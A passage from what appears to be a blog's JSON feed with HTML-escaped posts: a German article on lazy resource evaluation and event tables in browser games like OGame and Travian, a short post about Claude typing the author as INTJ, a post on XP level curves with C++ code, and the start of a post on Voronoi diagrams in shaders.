href=\u0022https:\/\/de.wikipedia.org\/wiki\/Travian\u0022\u003Ede\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EDanach ging es richtig los. Gameforge hat im August 2007 40 Millionen registrierte und 6 Millionen aktive Accounts in 30 L\u00e4ndern gemeldet (\u003Ca href=\u0022https:\/\/digitalproduction.com\/2007\/08\/20\/onlinegame-entwickler-gameforge-sichert-sich-erstfinanzierung\/\u0022\u003Edigitalproduction 2007\u003C\/a\u003E) und im August 2010 schon 200 Millionen registrierte (\u003Ca href=\u0022https:\/\/www.gameswelt.de\/gameforge\/news\/weltweit-200-millionen-registrierte-user-104681\u0022\u003Egameswelt\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EDie Zahlen sollte man aber nicht zu ernst nehmen. Registrierungen werden nur aufaddiert, da ist jeder Zweitaccount drin und jeder, der nach zehn Minuten wieder weg war. Die GameStar nennt f\u00fcr OGame 2022 rund 125.000 Spieler im Monat und etwa 70.000 Browser-Logins am Tag. Und genau da wird es f\u00fcr diesen Post interessant. Ein Server, der f\u00fcr 100 Millionen Accounts jede Sekunde rechnen m\u00fcsste, w\u00e4re Wahnsinn. Ein Server, der nur rechnet, wenn einer von den 70.000 vorbeischaut, ist dagegen gar kein Problem.\u003C\/p\u003E\n\u003Cp\u003EUnd dann war da noch die Spielkultur. In einer studentischen Projektdoku der Hochschule der Medien Stuttgart von etwa 2006 steht ganz trocken:\u003C\/p\u003E\n\u003Cblockquote\u003E\n\u003Cp\u003E\u0026#34;Es ist \u00fcblich, sich nachts einen Wecker zu stellen, um weitere Aktionen starten zu k\u00f6nnen, um somit einen Vorteil gegen\u00fcber des Gegners zu haben.\u0026#34;\u003C\/p\u003E\n\u003Cp\u003E\u003Ca href=\u0022https:\/\/www.hdm-stuttgart.de\/stage\/mediafiles\/1013\/sonstiges\/CastarmaDokumentation.pdf\u0022\u003ECastarma-Dokumentation, HdM Stuttgart\u003C\/a\u003E\u003C\/p\u003E\n\u003C\/blockquote\u003E\n\u003Cp\u003EAuf Hacker News erz\u00e4hlen ehemalige Spieler, wie sie mitten in der Nacht per IRC geweckt wurden, weil jemand \u0026#34;you\u0026#039;ve got incoming!\u0026#34; geschrieben hat, und von Angriffen, die extra so getimt waren, dass sie mitten in der Nacht des Opfers einschlagen (\u003Ca href=\u0022https:\/\/news.ycombinator.com\/item?id\u0026#61;35537127\u0022\u003EHN 1\u003C\/a\u003E, \u003Ca href=\u0022https:\/\/news.ycombinator.com\/item?id\u0026#61;35536621\u0022\u003EHN 2\u003C\/a\u003E). Das kommt direkt aus der Technik, dazu weiter unten mehr.\u003C\/p\u003E\n\u003Ch2\u003ELazy Evaluation\u003C\/h2\u003E\n\u003Cp\u003EDie Idee ist so simpel, dass man sie fast \u00fcbersieht. Man z\u00e4hlt den Metallstand eines Planeten nicht st\u00e4ndig hoch, sondern speichert drei Werte:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emetal        \u0026#61; 5000          -- Stand zum Zeitpunkt last_update\nmetal_rate   \u0026#61; 120 pro Stunde\nlast_update  \u0026#61; 12:00:00\n\u003C\/pre\u003E\n\u003Cp\u003EFragt um 14:30 jemand, wie viel Metall da ist, rechnet man einfach:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emetal(jetzt) \u0026#61; metal \u0026#43; metal_rate \u00d7 (jetzt - last_update)\n             \u0026#61; 5000  \u0026#43; 120 \u00d7 2,5 h\n             \u0026#61; 5300\n\u003C\/pre\u003E\n\u003Cp\u003EZwischen zwei Anfragen passiert auf dem Server gar nichts. Die Kurve gibt es nur als Formel.\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003EGeschrieben wird nur an den gef\u00fcllten Punkten, also wenn der Spieler etwas ausgibt oder sich die Rate \u00e4ndert. Wenn er nur die Seite aufruft (hohle Punkte), wird gerechnet, aber nichts gespeichert.\u003C\/p\u003E\n\u003Cp\u003EAuf Stack Exchange steht das Muster sp\u00e4testens seit 2010. Andrew Russell in der akzeptierten Antwort:\u003C\/p\u003E\n\u003Cblockquote\u003E\n\u003Cp\u003E\u0026#34;you could just store the production rates, the base resource level, and a last-updated timestamp. [...] Whenever the production rate changes, update the base level to the actual level, and the timestamp to the current time.\u0026#34;\u003C\/p\u003E\n\u003Cp\u003E\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/3880\/what-techniques-enable-web-based-games-to-update-players-resources-frequently\u0022\u003Egamedev.stackexchange.com\/questions\/3880\u003C\/a\u003E\u003C\/p\u003E\n\u003C\/blockquote\u003E\n\u003Cp\u003ESean Middleditch hat es 2013 noch k\u00fcrzer gesagt, und den Satz w\u00fcrde ich mir glatt an die Wand h\u00e4ngen:\u003C\/p\u003E\n\u003Cblockquote\u003E\n\u003Cp\u003E\u0026#34;Find the difference. Divide by speed. Add to current resources. Cap the value. Done.\u0026#34;\u003C\/p\u003E\n\u003Cp\u003E\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/56071\/implementing-the-earn-resource-every-n-seconds-mechanism-common-to-f2p-games\u0022\u003Egamedev.stackexchange.com\/questions\/56071\u003C\/a\u003E\u003C\/p\u003E\n\u003C\/blockquote\u003E\n\u003Cp\u003EIn meinem Beispielspiel sieht das in JavaScript so aus:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ Reine Rechnung: wie sieht der Spieler zum Zeitpunkt t aus? Schreibt nichts.\u003C\/span\u003E\n\u003Cspan class=\u0022hl-keyword\u0022\u003Efunction\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003Eproduced\u003C\/span\u003E(p, t) {\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Econst\u003C\/span\u003E dt \u0026#61; \u003Cspan class=\u0022hl-type\u0022\u003EMath\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Emax\u003C\/span\u003E(0, t - p.\u003Cspan class=\u0022hl-property\u0022\u003Elast_update\u003C\/span\u003E) \/ 1000;\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Ereturn\u003C\/span\u003E {\n    ...\u003Cspan class=\u0022hl-property\u0022\u003Ep\u003C\/span\u003E,\n    \u003Cspan class=\u0022hl-property\u0022\u003Emetal\u003C\/span\u003E: p.\u003Cspan class=\u0022hl-property\u0022\u003Emetal\u003C\/span\u003E \u0026#43; \u003Cspan class=\u0022hl-type\u0022\u003EBUILDINGS\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Emetal_mine\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Erate\u003C\/span\u003E(p.\u003Cspan class=\u0022hl-property\u0022\u003Emetal_mine\u003C\/span\u003E) * dt,\n    \u003Cspan class=\u0022hl-property\u0022\u003Ecrystal\u003C\/span\u003E: p.\u003Cspan class=\u0022hl-property\u0022\u003Ecrystal\u003C\/span\u003E \u0026#43; \u003Cspan class=\u0022hl-type\u0022\u003EBUILDINGS\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Ecrystal_mine\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Erate\u003C\/span\u003E(p.\u003Cspan class=\u0022hl-property\u0022\u003Ecrystal_mine\u003C\/span\u003E) * dt,\n    \u003Cspan class=\u0022hl-property\u0022\u003Elast_update\u003C\/span\u003E: \u003Cspan class=\u0022hl-type\u0022\u003EMath\u003C\/span\u003E.\u003Cspan class=\u0022hl-property\u0022\u003Emax\u003C\/span\u003E(t, p.\u003Cspan class=\u0022hl-property\u0022\u003Elast_update\u003C\/span\u003E),\n  };\n}\n\n\u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ Abrechnen und festschreiben. Muss vor jeder \u00c4nderung am Spieler passieren.\u003C\/span\u003E\n\u003Cspan class=\u0022hl-keyword\u0022\u003Efunction\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003Esettle\u003C\/span\u003E(id, t) {\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Econst\u003C\/span\u003E p \u0026#61; \u003Cspan class=\u0022hl-property\u0022\u003Eproduced\u003C\/span\u003E(\u003Cspan class=\u0022hl-property\u0022\u003EgetPlayer\u003C\/span\u003E(id), t);\n  \u003Cspan class=\u0022hl-property\u0022\u003EsavePlayer\u003C\/span\u003E(p);\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Ereturn\u003C\/span\u003E p;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EDas Sch\u00f6nste daran ist, dass die Serverlast nur von den Spielern abh\u00e4ngt, die gerade aktiv sind. Philipp schreibt auf gamedev.SE: \u0026#34;So your total server load only depends on your current active users, not your total registered users.\u0026#34; (\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/141103\/cron-jobs-for-mmo-browser-game\u0022\u003Egamedev.SE 141103\u003C\/a\u003E). Ein Account, der seit 2009 nicht mehr eingeloggt war, kostet genau null CPU.\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Cp\u003EOb seit dem letzten Besuch zehn Sekunden oder zehn Tage vergangen sind, ist auch egal, es bleibt dieselbe Multiplikation. Man hat sogar weniger Rundungsfehler. Wer jede Sekunde 0,033 Metall draufaddiert, sammelt Flie\u00dfkommafehler ein, eine einzelne Multiplikation \u00fcber die ganze Zeit hat das Problem nicht (\u003Ca href=\u0022https:\/\/stackoverflow.com\/questions\/2081518\/how-to-live-update-browser-game-attributes-like-the-4-resources-in-travian-game\u0022\u003EStack Overflow 2081518\u003C\/a\u003E). Und der Browser kann dieselbe Formel benutzen. Die Ressourcen, die oben im OGame-Fenster hochz\u00e4hlen, sind genau diese Rechnung in JavaScript, nur eben f\u00fcr die Anzeige.\u003C\/p\u003E\n\u003Ch2\u003EWo es knifflig wird\u003C\/h2\u003E\n\u003Cp\u003ESo weit die Theorie. In der Praxis hab ich drei Stellen gefunden, an denen man sich die Finger verbrennt.\u003C\/p\u003E\n\u003Ch3\u003EDie Mine wird mittendrin fertig\u003C\/h3\u003E\n\u003Cp\u003ESagen wir, die Metallmine geht um 13:00 von Stufe 7 auf Stufe 8, aber der Spieler schaut erst um 15:00 wieder rein. Rechnet man jetzt einfach \u003Ccode\u003Eneue_rate \u00d7 3 Stunden\u003C\/code\u003E, schenkt man ihm eine Stunde Produktion auf Stufe 8, die er nie hatte. Richtig ist bis 13:00 mit der alten Rate und ab da mit der neuen.\u003C\/p\u003E\n\u003Cp\u003EMarkus von Broady hat das 2012 am Beispiel OGame durchgerechnet. Jeder Planet hat ein \u003Ccode\u003Elast_calc\u003C\/code\u003E, und wenn zwischendurch eine Mine fertig wurde, wird der Zeitraum in zwei Segmente geteilt (\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/37489\/game-resource-timers-general-implementation\u0022\u003Egamedev.SE 37489\u003C\/a\u003E). In der Grafik oben ist das der Knick bei 24 Sekunden. Daraus folgt eine Regel, die man sich merken sollte: Jede \u00c4nderung der Rate ist ein Zeitpunkt, an dem abgerechnet werden muss. Deshalb sind fertige Geb\u00e4ude in diesen Spielen Events, dazu gleich mehr.\u003C\/p\u003E\n\u003Cp\u003EVon Broady erw\u00e4hnt noch einen Nebeneffekt, auf den ich nie gekommen w\u00e4re. Wenn der Client beim Spionieren selbst hochrechnet, verr\u00e4t \u003Ccode\u003Elast_calc\u003C\/code\u003E, wann ein Planet zuletzt angefasst wurde: \u0026#34;if main planet of a user wasn\u0026#039;t refreshed for 5 days, one can be pretty sure the user didn\u0026#039;t login.\u0026#34; Ein Datenleck durch ein Implementierungsdetail.\u003C\/p\u003E\n\u003Ch3\u003EDas Lager ist voll\u003C\/h3\u003E\n\u003Cp\u003EDie meisten dieser Spiele haben Lager mit begrenzter Kapazit\u00e4t. Naheliegend ist \u003Ccode\u003Emin(wert \u0026#43; rate \u00d7 dt, kapazit\u00e4t)\u003C\/code\u003E. DMGregory beschreibt auf gamedev.SE den Bug, der dabei entsteht, wenn man das Lager ausbaut. Wird erst beim Lesen gekappt und dann die Kapazit\u00e4t erh\u00f6ht, bekommt der Spieler pl\u00f6tzlich die Produktion zur\u00fcck, die vorher abgeschnitten war. Die L\u00f6sung ist dieselbe wie bei der Mine. Bei jeder \u00c4nderung der Kapazit\u00e4t wird der gekappte Wert gespeichert und der Zeitstempel neu gesetzt: \u0026#34;we bake-out any surplus production that could have leaked through the new cap, and reset the timestamp\u0026#34; (\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/160691\/online-browser-game-resource-incrementing-production-problem\u0022\u003Egamedev.SE 160691\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EMiddleditch hat in seiner Antwort von oben noch einen Kniff f\u00fcr ganze Einheiten. Wer \u0026#34;alle 30 Sekunden eine Energie\u0026#34; gutschreibt, setzt den Zeitstempel nicht auf \u003Ccode\u003Ejetzt\u003C\/code\u003E, sondern auf \u003Ccode\u003Ejetzt\u003C\/code\u003E minus den Rest der Division. Sonst verliert der Spieler bei jedem Besuch ein paar Sekunden.\u003C\/p\u003E\n\u003Ch3\u003ETruppen essen Getreide\u003C\/h3\u003E\n\u003Cp\u003EBei Travian essen Truppen Getreide. Ist die Produktion unterm Strich negativ, wird der Vorrat kleiner. Laut offizieller Hilfe f\u00e4ngt der Hunger an, sobald \u0026#34;the granary has no crop left\u0026#34; und das Dorf weniger produziert, als Truppen und Bev\u00f6lkerung brauchen. Dann sterben Truppen in einer festen Reihenfolge (\u003Ca href=\u0022https:\/\/support.travian.com\/en\/articles\/83-starvation-mechanics\u0022\u003ETravian Support\u003C\/a\u003E).\u003C\/p\u003E\n\u003Cp\u003EGenau da hakt William Leader 2010 ein. Mit Rate mal Zeit passiert so ein Ereignis eben nicht von selbst, deshalb hat er die Methode verworfen und einen Timer-Dienst gebaut. Man kann den Zeitpunkt aber auch einfach ausrechnen, denn der steht ja fest:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ Wann ist das Getreide alle? Bei negativer Rate vorab berechenbar.\u003C\/span\u003E\n\u003Cspan class=\u0022hl-keyword\u0022\u003Econst\u003C\/span\u003E secondsLeft \u0026#61; crop \/ -cropRate;          \u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ cropRate \u0026lt; 0\u003C\/span\u003E\n\u003Cspan class=\u0022hl-property\u0022\u003Eschedule\u003C\/span\u003E(\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#039;starvation\u0026#039;\u003C\/span\u003E, village.\u003Cspan class=\u0022hl-property\u0022\u003Eid\u003C\/span\u003E, \u003Cspan class=\u0022hl-keyword\u0022\u003Enull\u003C\/span\u003E, now \u0026#43; secondsLeft * 1000, {});\n\u003C\/pre\u003E\n\u003Cp\u003E\u0026#34;Speicher leer\u0026#34; wird dann selbst zu einem Event. \u00c4ndert sich die Rate, weil neue Truppen oder eine neue Getreidefarm dazukommen, l\u00f6scht man das alte Event und rechnet neu. Dasselbe geht f\u00fcr \u0026#34;Lager voll\u0026#34;, falls das Spiel dann etwas machen soll.\u003C\/p\u003E\n\u003Ch3\u003EWann die Formel nicht mehr reicht\u003C\/h3\u003E\n\u003Cp\u003EDie Formel funktioniert, solange die Raten konstant sind und nichts verbraucht wird. Eine unbeantwortete Frage auf gamedev.SE zeigt, wo das aufh\u00f6rt. In einem Idle-Spiel im Stil von Melvor Idle wird Erz zu Barren verarbeitet, und wenn das Erz alle ist, bricht die Aufgabe ab (\u003Ca href=\u0022https:\/\/gamedev.stackexchange.com\/questions\/182370\/idle-game-calculating-resource-generation-consumption\u0022\u003Egamedev.SE 182370\u003C\/a\u003E). Dann muss man an jedem Punkt segmentieren, an dem ein Input leer wird, und bei langen Ketten von solchen Abh\u00e4ngigkeiten simuliert man am Ende doch wieder Schritt f\u00fcr Schritt. Clicker Heroes macht laut eigenem Blog genau das. Wenn man zur\u00fcckkommt, l\u00e4uft ein \u0026#34;Idle-Run\u0026#34; mit der aktuellen Schadensrate, und \u0026#34;There\u0026#039;s no strict time limit on how long this simulation runs\u0026#34; (\u003Ca href=\u0022https:\/\/blog.clickerheroes.com\/offline-progression-in-clicker-heroes\/embed\/\u0022\u003EClicker-Heroes-Blog\u003C\/a\u003E).\u003C\/p\u003E\n\u003Ch2\u003EDie Event-Tabelle\u003C\/h2\u003E\n\u003Cp\u003ERessourcen laufen kontinuierlich. Alles andere in einem Browsergame hat einen festen Zeitpunkt. Das Geb\u00e4ude ist um 16:20 fertig, die Flotte kommt um 15:03:12 an, die Forschung um 9:00. Das alles landet als Zeile in einer Tabelle:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-keyword\u0022\u003ECREATE TABLE\u003C\/span\u003E events (\n  id        INTEGER \u003Cspan class=\u0022hl-keyword\u0022\u003EPRIMARY KEY\u003C\/span\u003E,\n  type      TEXT \u003Cspan class=\u0022hl-keyword\u0022\u003ENOT NULL\u003C\/span\u003E,        \u003Cspan class=\u0022hl-comment\u0022\u003E-- build_done, fleet_arrive, fleet_return, ...\u003C\/span\u003E\n  player_id INTEGER \u003Cspan class=\u0022hl-keyword\u0022\u003ENOT NULL\u003C\/span\u003E,\n  target_id INTEGER,\n  fires_at  INTEGER \u003Cspan class=\u0022hl-keyword\u0022\u003ENOT NULL\u003C\/span\u003E,     \u003Cspan class=\u0022hl-comment\u0022\u003E-- Zeitpunkt in Millisekunden\u003C\/span\u003E\n  payload   TEXT \u003Cspan class=\u0022hl-keyword\u0022\u003ENOT NULL\u003C\/span\u003E         \u003Cspan class=\u0022hl-comment\u0022\u003E-- JSON: Geb\u00e4ude, Schiffe, Beute, ...\u003C\/span\u003E\n);\n\u003C\/pre\u003E\n\u003Cp\u003ESpannend wird es bei der Frage, wann und wie die Events abgearbeitet werden. Die einfachste Variante ist bei jedem Request, bevor irgendwas anderes passiert.\u003C\/p\u003E\n\u003Cp\u003E[[img:5]]\u003C\/p\u003E\n\u003Cp\u003EIm Code:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E\u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ Holt immer nur das fr\u00fcheste f\u00e4llige Event. Ein Handler kann neue Events erzeugen\u003C\/span\u003E\n\u003Cspan class=\u0022hl-comment\u0022\u003E\/\/ (Angriff -\u0026gt; R\u00fcckflug), die selbst schon f\u00e4llig sein k\u00f6nnen.\u003C\/span\u003E\n\u003Cspan class=\u0022hl-keyword\u0022\u003Efunction\u003C\/span\u003E \u003Cspan class=\u0022hl-property\u0022\u003EprocessDueEvents\u003C\/span\u003E(t) {\n  \u003Cspan class=\u0022hl-keyword\u0022\u003Econst\u003C\/span\u003E next \u0026#61; db.\u003Cspan class=\u0022hl-property\u0022\u003Eprepare\u003C\/span\u003E(\u003Cspan class=\u0022hl-value\u0022\u003E\u0026#039;SELECT * FROM events WHERE fires_at \u0026lt;\u0026#61;\u003C\/span\u003E\u003C\/pre\u003E","date_published":"2026-10-30T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/claude-says-i-m-an-intj","url":"https:\/\/malura.de\/en\/blog\/claude-says-i-m-an-intj","title":"Claude says I\u0027m an INTJ","content_html":"\u003Cp\u003EI keep seeing these four letters like INFJ or INTJ in people\u0026#039;s profiles. That\u0026#039;s MBTI, a personality model with 16 types. Claude knows me from hundreds of sessions on my projects by now, so I just asked which type I am.\u003C\/p\u003E\n\u003Cp\u003EThe answer was INTJ. Introverted, because I like being deep in a topic on my own, whether that\u0026#039;s my homelab, my family tree or an archive of old magazine CDs. Intuitive, because I\u0026#039;d rather build a system than a one-off fix. Thinking, because I decide based on efficiency. The J was close: my instructions for Claude run to hundreds of lines of fixed rules, but all the side projects running in parallel point more towards P.\u003C\/p\u003E\n\u003Cp\u003EThen I tried to describe myself. I collect data, archive it and sort it into categories. I want to know how things work, though more computers than radios. And in the end I want to make everything faster, more flexible and more powerful. I collect the knowledge so I can get faster.\u003C\/p\u003E\n\u003Cp\u003EAccording to Claude, that fits INTJ better than INTP. An INTP wants to understand things because they find them interesting. For me, understanding is always followed by improving.\u003C\/p\u003E\n\u003Cp\u003EScientifically MBTI is pretty shaky, I know. I still recognized myself.\u003C\/p\u003E\n\u003Ch2\u003EWhy I often don\u0026#039;t answer simple questions\u003C\/h2\u003E\n\u003Cp\u003EIt also explains something that regularly drives me up the wall: really general questions. When someone asks me something, my head immediately runs through every possible thing they could mean and wants to answer all of it properly. Even small questions often have hundreds of factors behind them, and a lot of those won\u0026#039;t be true anymore tomorrow. Many answers also rest on years of experience. Squeezing that into a short paragraph just raises more questions.\u003C\/p\u003E\n\u003Cp\u003ESo \u0026#34;What\u0026#039;s your favorite movie?\u0026#34; isn\u0026#039;t a simple question for me. Which genre? Top 3? Maybe another one is actually better? Videos sent with \u0026#34;What do you think of this?\u0026#34; are even harder. I\u0026#039;d have to watch them, understand them and form an opinion before I can say anything at all.\u003C\/p\u003E\n\u003Cp\u003EEvery question feels a bit like a task. When they come in from everywhere all day, that gets exhausting fast. So I\u0026#039;d rather not answer at all for now, even if that looks rude from the outside.\u003C\/p\u003E\n\u003Cp\u003EAlso, what I say holds for the moment I say it. It\u0026#039;s not a promise for all time. When old statements get dug up later, I think three times about every answer, and at some point I\u0026#039;d rather say nothing at all.\u003C\/p\u003E\n\u003Cp\u003EWhat helps me: questions that can be answered briefly, or a sentence saying what someone is actually getting at. And when I say \u0026#34;I need to think about it\u0026#34;, I mean it. I\u0026#039;m not trying to brush anyone off.\u003C\/p\u003E\n","date_published":"2026-10-30T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/xp-curves","url":"https:\/\/malura.de\/en\/blog\/xp-curves","title":"XP curves","content_html":"\u003Cp\u003EHow much experience does the next level cost? It sounds like a number you just make up, and that is usually how it starts: level 2 costs 100, level 3 costs 200, we\u0026#039;ll see after that. By level 40 at the latest you notice that the curve is the actual game design. It decides how long a level feels and when a player gives up.\u003C\/p\u003E\n\u003Cp\u003E[[demo:xp-curves]]\u003C\/p\u003E\n\u003Cp\u003ETwo curves are drawn at the top: in orange what the next level costs, in teal the total you need to be a given level. Chips switch between five curve types, the sliders a and b change them. \u0026#34;Log y\u0026#34; makes the y axis logarithmic, otherwise the steep curves show up as a flat line with a hook at the end. Below it the same curve is shown as play time, for a chosen amount of XP per hour. Hover the plots and a card shows level, cost, total XP and hours. A little player collects XP the whole time and climbs the curve, x10 or x100 makes that faster.\u003C\/p\u003E\n\u003Ch2\u003ECost and total\u003C\/h2\u003E\n\u003Cp\u003EI always work with two functions. \u003Ccode\u003Estep(L)\u003C\/code\u003E is the XP to get from level L to L\u0026#43;1. \u003Ccode\u003Etotal(L)\u003C\/code\u003E is the sum of all steps before it, the XP you need to be level L. Level 1 has 0.\u003C\/p\u003E\n\u003Cp\u003EThe linear curve is \u003Ccode\u003Estep(L) \u0026#61; a * L\u003C\/code\u003E, the polynomial one \u003Ccode\u003Ea * L^b\u003C\/code\u003E, the exponential one \u003Ccode\u003Ea * b^L\u003C\/code\u003E. The table has eleven hand-picked anchor values, in between it interpolates geometrically and rounds to tens, the way you would write it down in a spreadsheet.\u003C\/p\u003E\n\u003Cp\u003EThe linear curve feels reasonable at the start. With a \u0026#61; 2500 and 100,000 XP per hour, level 1 takes a minute and a half and level 98 just under two and a half hours. It grows evenly, and that is exactly the problem: once the player earns faster with better gear and stronger enemies, the levels start running away from them. If every level should take roughly the same time, the cost has to grow as fast as the earning rate. The demo keeps the rate fixed, so the dashed line at the bottom shows what the total time would look like if every level took the same time. All curves here lie below it and bend steeply upwards at the end.\u003C\/p\u003E\n\u003Ch2\u003EThe RuneScape trick\u003C\/h2\u003E\n\u003Cp\u003EThe best known curve is the one from RuneScape. Every level has a points value, the XP are the sum of those divided by 4:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline double runescapePoints(int l) { return std::floor(static_cast\u0026lt;double\u0026gt;(l) \u0026#43; 300.0 * std::exp2(static_cast\u0026lt;double\u0026gt;(l) \/ 7.0)); }\n\nsum \u0026#43;\u0026#61; static_cast\u0026lt;std::int64_t\u0026gt;(detail::runescapePoints(l));\ntotals_[static_cast\u0026lt;std::size_t\u0026gt;(l)] \u0026#61; sum \/ 4;\n\u003C\/pre\u003E\n\u003Cp\u003EThe \u003Ccode\u003E2^(l\/7)\u003C\/code\u003E is the core. Each level the step grows by a factor of 2^(1\/7), about 10.4 percent, and every 7 levels it has doubled. That is why level 92 needs 6,517,253 XP and level 99 almost exactly twice as much, 13,034,431. Halfway to 99 is level 92. At 100,000 XP per hour you are level 50 after a good hour and level 92 after 65 hours. The last level costs 1,228,825 XP, a little over 12 hours. Level 1 to 2 is 83 XP, a few seconds.\u003C\/p\u003E\n\u003Cp\u003EI recomputed the formula. The test checks level 2 (83), level 10 (1,154), level 50 (101,333) and level 99 (13,034,431), and they all match.\u003C\/p\u003E\n\u003Ch2\u003EFrom XP to level\u003C\/h2\u003E\n\u003Cp\u003EEvery game needs the other direction all the time: the player has 3.2 million XP, which level is that? You could try \u003Ccode\u003Etotal(L)\u003C\/code\u003E for every L. I put the thresholds into an array once and use a binary search:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst auto it \u0026#61; std::upper_bound(first, last, xp);\nreturn std::max(1, static_cast\u0026lt;int\u0026gt;(it - first));\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eupper_bound\u003C\/code\u003E returns the first level whose threshold is above the XP. One before it is the player\u0026#039;s level. Exactly on the threshold it is already the new level, one XP below it is still the old one, and 0 XP is level 1. The test says exactly that. For the pure exponential curve there is an inverse formula (a logarithm), but with a table, with the rounded RuneScape values, or as soon as somebody bends the curve, the lookup table with a binary search is the way that always works. With 99 entries that is seven comparisons.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003ERound down only at the end. If you round every points value down after dividing by 4 and then add them up, level 10 lands at 1,151 instead of 1,154 and level 99 at 13,034,394. Sum the whole points first, then divide by 4.\u003C\/p\u003E\n\u003Cp\u003EExponential curves blow through 64 bit faster than you think. \u003Ccode\u003E10 * 2^99\u003C\/code\u003E has more than thirty digits. So every step is capped at 4 quadrillion, and 98 of those at 3.9e17 still fit comfortably into an \u003Ccode\u003Eint64\u003C\/code\u003E (maximum 9.2e18), so the sum never overflows:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline std::int64_t toStep(double raw) {\n    if (std::isnan(raw) || raw \u0026lt; 1.0) return 1;\n    if (!(raw \u0026lt; static_cast\u0026lt;double\u0026gt;(kMaxStep))) return kMaxStep;\n    return static_cast\u0026lt;std::int64_t\u0026gt;(std::llround(raw));\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe \u003Ccode\u003Eraw \u0026lt; 1.0\u003C\/code\u003E has a second job. With a \u0026#61; 0 every level would be free, all thresholds would be 0 and the binary search would have no unique answer. So every step costs at least 1 XP. For the exponential curve a b smaller than or equal to 1 counts as 1, otherwise the steps would shrink.\u003C\/p\u003E\n\u003Cp\u003EThe little player runs in fixed steps of a sixtieth of a second, like in \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003EFixed Timestep\u003C\/a\u003E. At x100 many levels pass per second, so every step compares the level before and after the gain and fires the pulse when it went up. I build the thousands separators myself, \u003Ccode\u003Esnprintf\u003C\/code\u003E with a locale would print dots or commas depending on the system.\u003C\/p\u003E\n\u003Cp\u003EYou can find the code in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-xp-curves\/xp-curves\u0022\u003Exp-curves\u003C\/a\u003E. All demos of the series are collected in the project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-10-23T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/voronoi-diagrams","url":"https:\/\/malura.de\/en\/blog\/voronoi-diagrams","title":"Voronoi diagrams","content_html":"\u003Cp\u003ESplit a map into regions, shatter a pane of glass, give every patch of ground a biome: it always starts the same way. You scatter a few points, and every spot belongs to the point nearest to it. The result is called a Voronoi diagram, and in a fragment shader it takes surprisingly few lines.\u003C\/p\u003E\n\u003Cp\u003E[[demo:voronoi]]\u003C\/p\u003E\n\u003Cp\u003EA click adds a point (up to 48), dragging moves it, a right click deletes the nearest one (at least 3 stay). The points drift slowly on their own. The chips switch between points and Worley noise, set the metric and toggle edges, isolines and drifting. \u003Ccode\u003Erelax\u003C\/code\u003E moves every point to the middle of its cell, R rolls a new layout.\u003C\/p\u003E\n\u003Ch2\u003EBrute force\u003C\/h2\u003E\n\u003Cp\u003EThe points sit in the shader as \u003Ccode\u003Evec4 uSites[48]\u003C\/code\u003E, \u003Ccode\u003Exy\u003C\/code\u003E is the position. Per pixel a loop runs over all of them and remembers the nearest and the second nearest:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int i \u0026#61; 0; i \u0026lt; 48; i\u0026#43;\u0026#43;) {\n    if (i \u0026gt;\u0026#61; uCount) break;\n    float d \u0026#61; metricDist(uSites[i].xy, p);\n    if (d \u0026lt; d1) { d2 \u0026#61; d1; d1 \u0026#61; d; first \u0026#61; i; }\n    else if (d \u0026lt; d2) { d2 \u0026#61; d; }\n}\n\u003C\/pre\u003E\n\u003Cp\u003E960 times 540 pixels times 48 points is a good 25 million distances per frame. That is nothing for a 